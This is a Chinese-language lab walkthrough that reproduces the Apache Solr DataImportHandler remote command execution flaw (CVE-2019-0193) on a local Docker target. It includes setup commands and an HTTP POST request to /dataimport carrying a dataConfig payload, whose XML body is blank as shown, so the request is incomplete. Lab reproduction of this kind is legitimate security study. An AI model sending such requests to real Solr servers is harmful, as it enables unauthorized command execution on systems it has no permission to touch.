[Vulfocus解题系列]Apache Solr 远程命令执行漏洞(CVE-2019-0193)

介绍

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

靶场搭建

进入指定漏洞路径,执行命令

docker-compose up -d

[Vulfocus解题系列]Apache Solr 远程命令执行漏洞(CVE-2019-0193)_第1张图片
执行以下代码创建test核心(不创建核心漏洞无法复现)

 docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

在这里插入图片描述
在浏览器访问http://your-ip:8983,正常访问说明靶场搭建成功
[Vulfocus解题系列]Apache Solr 远程命令执行漏洞(CVE-2019-0193)_第2张图片

漏洞复现

访问 /solr/admin/cores 路径,获取到name的值为:test
[Vulfocus解题系列]Apache Solr 远程命令执行漏洞(CVE-2019-0193)_第3张图片
根据获取的core信息中name信息构造payload

POST /solr/test/dataimport HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: your_ip/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1216
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test&name=dataimport&dataConfig=
        
          
          
                
                     
                                
                     
                
        


[Vulfocus解题系列]Apache Solr 远程命令执行漏洞(CVE-2019-0193)_第4张图片

回显成功,说明命令执行成功,漏洞复现完成
[Vulfocus解题系列]Apache Solr 远程命令执行漏洞(CVE-2019-0193)_第5张图片

你可能感兴趣的:(漏洞复现,solr,apache)